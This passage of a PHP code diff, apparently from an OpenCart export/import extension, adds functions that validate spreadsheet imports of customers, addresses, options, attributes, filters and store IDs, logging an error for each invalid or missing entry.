+ $ok = false;
+ }
+ $previous_customer_id = $customer_id;
+ }
+
+ // make sure customer_ids are numeric entries and are also mentioned in worksheet 'Customers'
+ $worksheets = array( 'Addresses' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_customer_id = 0;
+ $has_missing_customer_ids = false;
+ $unlisted_customer_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_id = $this->getCell($data,$i,1);
+ if ($customer_id=="") {
+ if (!$has_missing_customer_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_customer_id' ) );
+ $this->log->write( $msg );
+ $has_missing_customer_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($customer_id)) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $customer_id, $customer_ids )) {
+ if (!in_array( $customer_id, $unlisted_customer_ids )) {
+ $unlisted_customer_ids[] = $customer_id;
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_customer_id' ) ) );
+ $this->log->write( $msg );
+ }
+ $ok = false;
+ }
+ if ($customer_id < $previous_customer_id) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_customer_id = $customer_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateAddressCountriesAndZones( &$reader ) {
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ $country_col = 0;
+ $zone_col = 0;
+ $k = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ $i = 0;
+ for ($j=1; $j <= $k; $j+=1) {
+ $entry = $this->getCell($data,$i,$j);
+ if ($entry=='country') {
+ $country_col = $j;
+ } else if ($entry=='zone') {
+ $zone_col = $j;
+ }
+ }
+ if ($country_col==0) {
+ $msg = $this->language->get('error_missing_country_col');
+ $msg = str_replace( '%1', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ if ($zone_col==0) {
+ $msg = $this->language->get('error_missing_zone_col');
+ $msg = str_replace( '%1', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ $available_country_ids = $this->getAvailableCountryIds();
+ $available_zone_ids = $this->getAvailableZoneIds();
+ $undefined_countries = array();
+ $undefined_zones = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $country = $this->getCell($data,$i,$country_col);
+ $zone = $this->getCell($data,$i,$zone_col);
+ if (!isset($available_country_ids[$country])) {
+ $country = html_entity_decode($country,ENT_QUOTES,'UTF-8');
+ if (!isset($available_country_ids[$country])) {
+ if (!in_array( $country, $undefined_countries )) {
+ $undefined_countries[] = $country;
+ $msg = $this->language->get( 'error_undefined_country' );
+ $msg = str_replace( '%1', $country, $msg );
+ $msg = str_replace( '%2', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ continue;
+ }
+ }
+ if ($zone != '') {
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_QUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ $zone = str_replace( "'", "'", $zone );
+ if (!isset($available_zone_ids[$country][$zone])) {
+ if (!isset($undefined_zones[$country])) {
+ $undefined_zones[$country] = array();
+ }
+ if (!in_array( $zone, $undefined_zones[$country] )) {
+ $undefined_zones[$country][] = $zone;
+ $msg = $this->language->get( 'error_undefined_zone' );
+ $msg = str_replace( '%1', $country, $msg );
+ $msg = str_replace( '%2', $zone, $msg );
+ $msg = str_replace( '%3', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ continue;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCustomerGroupColumns( &$reader ) {
+ // all customer_groups mentioned in the worksheets must be defined
+ $worksheets = array( 'Specials', 'Discounts', 'Rewards', 'Customers' );
+ $ok = true;
+ $customer_groups = array();
+ $customer_group_ids = $this->getCustomerGroupIds();
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $has_missing_customer_groups = false;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_group = trim($this->getCell($data,$i,2));
+ if ($customer_group=="") {
+ if (!$has_missing_customer_groups) {
+ $msg = $this->language->get( 'error_missing_customer_group' );
+ $msg = str_replace( '%1', $worksheet, $msg );
+ $this->log->write( $msg );
+ $has_missing_customer_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $customer_group, $customer_groups )) {
+ if (!isset($customer_group_ids[$customer_group])) {
+ $msg = $this->language->get( 'error_invalid_customer_group' );
+ $msg = str_replace( '%1', $worksheet, str_replace( '%2', $customer_group, $msg ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $customer_groups[] = $customer_group;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateOptionColumns( &$reader ) {
+ // get all existing options and option values
+ $ok = true;
+ $export_import_settings_use_option_id = $this->config->get('export_import_settings_use_option_id');
+ $export_import_settings_use_option_value_id = $this->config->get('export_import_settings_use_option_value_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT od.option_id, od.name AS option_name, ovd.option_value_id, ovd.name AS option_value_name ";
+ $sql .= "FROM `".DB_PREFIX."option_description` od ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_id=od.option_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE od.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $options = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_option_id) {
+ $option_id = $row['option_id'];
+ if (!isset($options[$option_id])) {
+ $options[$option_id] = array();
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = $row['option_value_id'];
+ if (!is_null($option_value_id)) {
+ $options[$option_id][$option_value_id] = true;
+ }
+ } else {
+ $option_value_name = htmlspecialchars_decode($row['option_value_name']);
+ if (!is_null($option_value_name)) {
+ $options[$option_id][$option_value_name] = true;
+ }
+ }
+ } else {
+ $option_name = htmlspecialchars_decode($row['option_name']);
+ if (!isset($options[$option_name])) {
+ $options[$option_name] = array();
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = $row['option_value_id'];
+ if (!is_null($option_value_id)) {
+ $options[$option_name][$option_value_id] = true;
+ }
+ } else {
+ $option_value_name = htmlspecialchars_decode($row['option_value_name']);
+ if (!is_null($option_value_name)) {
+ $options[$option_name][$option_value_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing options can be used in 'ProductOptions' worksheet
+ $product_options = array();
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_options = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_option_id) {
+ $option_id = trim($this->getCell($data,$i,2));
+ if ($option_id=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptions', $this->language->get( 'error_missing_option_id' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id' );
+ $msg = str_replace( '%1', 'ProductOptions', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ $product_options[$product_id][$option_id] = true;
+ } else {
+ $option_name = trim($this->getCell($data,$i,2));
+ if ($option_name=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptions', $this->language->get( 'error_missing_option_name' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name' );
+ $msg = str_replace( '%1', 'ProductOptions', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ $product_options[$product_id][$option_name] = true;
+ }
+ }
+
+ // only existing options and option values can be used in 'ProductOptionValues' worksheet
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_options = false;
+ $has_missing_option_values = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_option_id) {
+ $option_id = trim($this->getCell($data,$i,2));
+ if ($option_id=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_id' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!isset($product_options[$product_id][$option_id])) {
+ $msg = $this->language->get( 'error_invalid_product_id_option_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $product_id, $msg );
+ $msg = str_replace( '%3', $option_id, $msg );
+ $msg = str_replace( '%4', 'ProductOptions', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = trim($this->getCell($data,$i,3));
+ if ($option_value_id=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_id' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id][$option_value_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id_option_value_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $msg = str_replace( '%3', $option_value_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $option_value_name = trim($this->getCell($data,$i,3));
+ if ($option_value_name=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_name' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id][$option_value_name])) {
+ $msg = $this->language->get( 'error_invalid_option_id_option_value_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $msg = str_replace( '%3', $option_value_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $option_name = trim($this->getCell($data,$i,2));
+ if ($option_name=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_name' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if (!isset($product_options[$product_id][$option_name])) {
+ $msg = $this->language->get( 'error_invalid_product_id_option_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $product_id, $msg );
+ $msg = str_replace( '%3', $option_name, $msg );
+ $msg = str_replace( '%4', 'ProductOptions', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = trim($this->getCell($data,$i,3));
+ if ($option_value_id=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_id' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name][$option_value_id])) {
+ $msg = $this->language->get( 'error_invalid_option_name_option_value_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $msg = str_replace( '%3', $option_value_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $option_value_name = trim($this->getCell($data,$i,3));
+ if ($option_value_name=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_name' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name][$option_value_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name_option_value_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $msg = str_replace( '%3', $option_value_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateAttributeColumns( &$reader ) {
+ // get all existing attribute_groups and attributes
+ $ok = true;
+ $export_import_settings_use_attribute_group_id = $this->config->get('export_import_settings_use_attribute_group_id');
+ $export_import_settings_use_attribute_id = $this->config->get('export_import_settings_use_attribute_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT agd.attribute_group_id, agd.name AS attribute_group_name, ad.attribute_id, ad.name AS attribute_name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group_description` agd ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute` a ON a.attribute_group_id=agd.attribute_group_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_description` ad ON ad.attribute_id=a.attribute_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE agd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_groups = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_attribute_group_id) {
+ $attribute_group_id = $row['attribute_group_id'];
+ if (!isset($attribute_groups[$attribute_group_id])) {
+ $attribute_groups[$attribute_group_id] = array();
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = $row['attribute_id'];
+ if (!is_null($attribute_id)) {
+ $attribute_groups[$attribute_group_id][$attribute_id] = true;
+ }
+ } else {
+ $attribute_name = htmlspecialchars_decode($row['attribute_name']);
+ if (!is_null($attribute_name)) {
+ $attribute_groups[$attribute_group_id][$attribute_name] = true;
+ }
+ }
+ } else {
+ $attribute_group_name = htmlspecialchars_decode($row['attribute_group_name']);
+ if (!isset($attribute_groups[$attribute_group_name])) {
+ $attribute_groups[$attribute_group_name] = array();
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = $row['attribute_id'];
+ if (!is_null($attribute_id)) {
+ $attribute_groups[$attribute_group_name][$attribute_id] = true;
+ }
+ } else {
+ $attribute_name = htmlspecialchars_decode($row['attribute_name']);
+ if (!is_null($attribute_name)) {
+ $attribute_groups[$attribute_group_name][$attribute_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing attribute_groups and attributes can be used in 'ProductAttributes' worksheet
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_attribute_groups = false;
+ $has_missing_attributes = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_attribute_group_id) {
+ $attribute_group_id = trim($this->getCell($data,$i,2));
+ if ($attribute_group_id=="") {
+ if (!$has_missing_attribute_groups) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_group_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attribute_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = trim($this->getCell($data,$i,3));
+ if ($attribute_id=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id][$attribute_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id_attribute_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $msg = str_replace( '%3', $attribute_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $attribute_name = trim($this->getCell($data,$i,3));
+ if ($attribute_name=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id][$attribute_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id_attribute_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $msg = str_replace( '%3', $attribute_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $attribute_group_name = trim($this->getCell($data,$i,2));
+ if ($attribute_group_name=="") {
+ if (!$has_missing_attribute_groups) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_group_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attribute_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = trim($this->getCell($data,$i,3));
+ if ($attribute_id=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name][$attribute_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name_attribute_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $msg = str_replace( '%3', $attribute_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $attribute_name = trim($this->getCell($data,$i,3));
+ if ($attribute_name=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name][$attribute_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name_attribute_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $msg = str_replace( '%3', $attribute_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateFilterColumns( &$reader ) {
+ // get all existing filter_groups and filters
+ $ok = true;
+ $export_import_settings_use_filter_group_id = $this->config->get('export_import_settings_use_filter_group_id');
+ $export_import_settings_use_filter_id = $this->config->get('export_import_settings_use_filter_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT fgd.filter_group_id, fgd.name AS filter_group_name, fd.filter_id, fd.name AS filter_name ";
+ $sql .= "FROM `".DB_PREFIX."filter_group_description` fgd ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter` f ON f.filter_group_id=fgd.filter_group_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_description` fd ON fd.filter_id=f.filter_id AND fd.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE fgd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_groups = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_filter_group_id) {
+ $filter_group_id = $row['filter_group_id'];
+ if (!isset($filter_groups[$filter_group_id])) {
+ $filter_groups[$filter_group_id] = array();
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = $row['filter_id'];
+ if (!is_null($filter_id)) {
+ $filter_groups[$filter_group_id][$filter_id] = true;
+ }
+ } else {
+ $filter_name = htmlspecialchars_decode($row['filter_name']);
+ if (!is_null($filter_name)) {
+ $filter_groups[$filter_group_id][$filter_name] = true;
+ }
+ }
+ } else {
+ $filter_group_name = htmlspecialchars_decode($row['filter_group_name']);
+ if (!isset($filter_groups[$filter_group_name])) {
+ $filter_groups[$filter_group_name] = array();
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = $row['filter_id'];
+ if (!is_null($filter_id)) {
+ $filter_groups[$filter_group_name][$filter_id] = true;
+ }
+ } else {
+ $filter_name = htmlspecialchars_decode($row['filter_name']);
+ if (!is_null($filter_name)) {
+ $filter_groups[$filter_group_name][$filter_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing filter_groups and filters can be used in the 'ProductFilters' and 'CategoryFilters' worksheets
+ $worksheet_names = array('ProductFilters','CategoryFilters');
+ foreach ($worksheet_names as $worksheet_name) {
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_filter_groups = false;
+ $has_missing_filters = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $id = trim($this->getCell($data,$i,1));
+ if ($id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_filter_group_id) {
+ $filter_group_id = trim($this->getCell($data,$i,2));
+ if ($filter_group_id=="") {
+ if (!$has_missing_filter_groups) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_group_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filter_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = trim($this->getCell($data,$i,3));
+ if ($filter_id=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id][$filter_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id_filter_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $msg = str_replace( '%3', $filter_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $filter_name = trim($this->getCell($data,$i,3));
+ if ($filter_name=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id][$filter_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id_filter_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $msg = str_replace( '%3', $filter_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $filter_group_name = trim($this->getCell($data,$i,2));
+ if ($filter_group_name=="") {
+ if (!$has_missing_filter_groups) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_group_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filter_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = trim($this->getCell($data,$i,3));
+ if ($filter_id=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name][$filter_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name_filter_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $msg = str_replace( '%3', $filter_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $filter_name = trim($this->getCell($data,$i,3));
+ if ($filter_name=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name][$filter_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name_filter_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $msg = str_replace( '%3', $filter_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function isInteger($input){
+ return(ctype_digit(strval($input)));
+ }
+
+
+ protected function validateStoreIds( &$reader ) {
+ $worksheets = array( 'Customers', 'CategorySEOKeywords', 'ProductSEOKeywords' );
+ $ok = true;
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = ($worksheet=='Customers') ? 3 : 2;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ // Invalid store_id='...' used in worksheet '...'
+ $msg = $this->language->get( 'error_invalid_store_id' );
+ $msg = str_replace( '%1', $store_id, $msg );
+ $msg = str_replace( '%2', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ } else if (!in_array( (int)$store_id, $store_ids )) {
+ // Invalid store_id='...' used in worksheet '...'
+ $msg = $this->language->get( 'error_invalid_store_id' );
+ $msg = str_replace( '%1', $store_id, $msg );
+ $msg = str_replace( '%2', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateIncrementalOnly( &$reader, $incremental ) {
+ // certain worksheets can only be imported in incremental mode for the time being
+ $ok = true;
+ $worksheets = array( 'Customers', 'Addresses' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data) {
+ if (!$incremental) {
+ $msg = $this->language->get( 'error_incremental_only' );
+ $msg = str_replace( '%1', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateCategorySEOUrls( &$reader, &$languages ) {
+ $ok = true;
+
+ // all category_id/store_id combinations must be unique
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
